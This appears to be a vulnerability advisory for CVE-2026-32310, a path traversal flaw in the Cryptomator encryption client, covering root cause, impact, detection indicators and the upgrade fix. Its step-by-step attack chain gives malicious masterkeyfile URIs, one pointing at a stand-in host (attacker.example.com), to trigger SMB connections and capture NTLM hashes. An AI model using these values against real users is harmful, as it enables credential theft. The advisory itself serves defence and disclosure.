CVE-2026-32310: 
NixOS vulnerability analysis and mitigation

CVE-2026-32310 is a path traversal vulnerability in Cryptomator, an open-source client-side encryption tool for cloud storage. Affecting versions 1.6.0 through 1.19.0, the flaw allows a malicious vault configuration to supply arbitrary filesystem paths — including parent-directory escapes, absolute local paths, or UNC paths — as the masterkeyfile key identifier, which is resolved and accessed before vault integrity is verified. The vulnerability was disclosed on March 20, 2026, and patched in version 1.19.1 released March 12, 2026. It carries a CVSS v3.1 base score of 5.3 (Medium) per NVD, and 4.1 (Moderate) per the GitHub Security Advisory (GitHub Advisory, Feedly).

The root cause (CWE-22: Path Traversal) lies in MasterkeyFileLoadingStrategy.java, where keyId.getSchemeSpecificPart() is resolved directly against the vault path via vault.getPath().resolve(...) and immediately passed to Files.exists(...) — all before the vault configuration's integrity is verified and before the user is prompted for a passphrase. The VaultConfigCache explicitly parses vault config "without verifying its integrity," and the downstream CryptoFileSystems.create flow extracts the keyId and calls keyLoader.loadKey(keyId) prior to any config verification. Additionally, the containment check filePath.startsWith(vault.getPath()) is performed on a non-normalized path, making it bypassable with traversal sequences. On Windows, a crafted masterkeyfile://attacker/share/masterkey.cryptomator URI causes Path.resolve("//attacker/share/...") to become a UNC path (\\attacker\share\...), triggering an outbound SMB connection to an attacker-controlled host before any user authentication occurs (GitHub Advisory, Patch Commit).

The primary impact is information disclosure: on Windows systems, the UNC path variant can trigger outbound SMB connections to attacker-controlled servers before the user enters a passphrase, potentially leaking NTLM authentication material (Net-NTLMv2 hashes), hostnames, and user context. Relative and absolute path variants allow unintended filesystem access attempts against local files outside the vault root, and if a referenced external file decrypts successfully, the backup logic may also write a sibling backup file outside the vault directory due to the non-normalized containment check. There is no integrity or availability impact (GitHub Advisory).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.034%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires that a victim add and attempt to unlock a malicious vault crafted by an attacker, making user interaction a prerequisite (Feedly, GitHub Advisory).

1. Craft a malicious vault: Create or modify a Cryptomator vault configuration file (vault.cryptomator) so that the kid / keyId field uses a malicious masterkeyfile: URI, such as masterkeyfile://attacker.example.com/share/masterkey.cryptomator (UNC path for Windows) or masterkeyfile:../outside/masterkey.cryptomator (relative path traversal).
2. Distribute the vault: Deliver the malicious vault to the victim via a shared cloud storage folder, email attachment, or any other means that causes the victim to add it to their Cryptomator application.
3. Victim adds the vault: The victim adds the malicious vault to Cryptomator and initiates the unlock flow.
4. Trigger path resolution: Before the passphrase prompt appears, Cryptomator's MasterkeyFileLoadingStrategy.loadKey() resolves the attacker-supplied keyId.getSchemeSpecificPart() against the vault path and calls Files.exists(filePath) on the resulting path.
5. Capture SMB authentication (Windows UNC variant): On Windows, the resolved UNC path (\\attacker.example.com\share\masterkey.cryptomator) causes the OS to initiate an outbound SMB connection to the attacker's server. The attacker captures the victim's Net-NTLMv2 hash using a tool such as Responder, which can then be cracked offline or used in relay attacks.
6. Local path traversal variant: For relative path variants, observe that Cryptomator accesses files outside the vault root; if the referenced file is a valid masterkey file, the backup logic may also copy it to a location outside the vault (GitHub Advisory).

• Network: Unexpected outbound SMB connections (TCP ports 139 or 445) from a workstation running Cryptomator to an external or unfamiliar host; Net-NTLMv2 authentication attempts observed on attacker-controlled SMB listeners.
• File System: Presence of a vault.cryptomator file with a kid field containing //, \\, or ../ sequences in the masterkeyfile: URI; backup files (e.g., masterkey.cryptomator.bkup) appearing outside the expected vault directory.
• Logs: Windows Security Event Log entries (Event ID 4648 or 4624) showing NTLM authentication attempts to unexpected remote hosts initiated by the Cryptomator process; network firewall logs recording outbound SMB traffic from the endpoint.
• Process: The Cryptomator Java process (Cryptomator.exe or cryptomator) initiating network connections to external hosts before a passphrase dialog is displayed to the user (GitHub Advisory).

Users should upgrade Cryptomator to version 1.19.1 or later, which fixes the issue by replacing the arbitrary keyId.getSchemeSpecificPart() path resolution with a fixed constant filename (Constants.MASTERKEY_FILENAME) resolved only within the vault directory (Release 1.19.1, Patch Commit). As an interim workaround, users should avoid adding vaults from untrusted or unknown sources, and Windows users should restrict outbound SMB traffic (TCP ports 139 and 445) at the host firewall or network perimeter to limit exposure to NTLM credential capture. Inspecting the vault.cryptomator file's kid field for suspicious path components before opening a vault is also advisable.

The vulnerability was reported by researcher Yanchon918s and disclosed via GitHub's security advisory process on March 20, 2026. The Cryptomator maintainers merged the fix (PR #4180) on March 12, 2026 — prior to the public advisory — and included it in the 1.19.1 release alongside three other security fixes. Community reaction on the GitHub release page was broadly positive, with 16 users reacting to the release. No significant independent media coverage or notable social media commentary beyond automated CVE tracking posts has been identified (GitHub Advisory, Release 1.19.1).